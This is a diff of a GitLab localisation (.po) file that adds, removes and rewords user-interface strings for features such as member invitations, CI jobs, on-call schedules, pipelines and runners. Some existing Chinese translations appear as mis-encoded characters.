@@ -14505,6 +14873,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "看æ¿"
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15463,6 +15858,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15490,9 +15888,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15523,9 +15918,6 @@ msgstr "退出群組"
msgid "Leave project"
msgstr "退出項目"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15760,6 +16137,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,16 +16426,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16118,7 +16492,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16130,7 +16504,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16178,6 +16552,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16535,6 +16936,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17089,6 +17493,9 @@ msgstr "里程碑列表將顯示所é¸é‡Œç¨‹ç¢‘的所有議題"
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "找ä¸åˆ°é‡Œç¨‹ç¢‘ %{milestoneTitle}"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17290,7 +17694,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17386,6 +17790,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17769,7 +18182,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18025,9 +18441,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18211,9 +18624,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "ä¸å¯ç”¨"
@@ -18268,6 +18681,9 @@ msgstr "數據ä¸è¶³"
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18280,6 +18696,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18319,6 +18738,9 @@ msgstr "åªé¡¯ç¤ºæ­·å²ç´€éŒ„"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18355,9 +18777,15 @@ msgstr "æµæ°´ç·šå¤±æ•—"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "åˆä½µè«‹æ±‚被åˆä½µ"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18373,6 +18801,9 @@ msgstr "新增評論"
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "é‡æ–°æŒ‡æ´¾è­°é¡Œ"
@@ -18382,6 +18813,9 @@ msgstr "é‡æ–°æŒ‡æ´¾åˆä½µè«‹æ±‚"
msgid "NotificationEvent|Reopen issue"
msgstr "é‡å•Ÿè­°é¡Œ"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "æµæ°´ç·šæˆåŠŸå®Œæˆ"
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,7 +19035,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18596,9 +19057,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18680,6 +19138,9 @@ msgstr ""
msgid "Open raw"
msgstr "打開原文件"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr "æ“作"
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19088,9 +19555,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr "æµæ°´ç·šè¨ˆåŠƒ"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19511,6 +19975,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -19931,18 +20407,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20162,6 +20629,24 @@ msgstr "個人資料"
msgid "Profile Settings"
msgstr "個人資料設定"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20171,6 +20656,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20558,9 +21049,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,7 +21301,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -20915,9 +21409,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -20939,6 +21430,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21704,6 +22207,9 @@ msgstr "推é€äº‹ä»¶ (push event) "
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21857,6 +22363,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22042,9 +22551,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "ç¨å¾Œæ醒"
@@ -22249,9 +22755,6 @@ msgstr "刪除截止日期"
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "é‡æ–°é–‹å•Ÿé‡Œç¨‹ç¢‘"
@@ -22354,6 +22854,13 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "存儲庫"
@@ -22499,6 +23019,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,10 +23055,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22651,12 +23174,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "é‡ç½®å¥åº·æª¢æŸ¥è¨ªå•ä»¤ç‰Œ"
@@ -22783,6 +23312,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22820,6 +23352,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -22908,6 +23446,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23133,7 +23659,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "ä¿å­˜æµæ°´ç·šè¨ˆåŠƒ"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
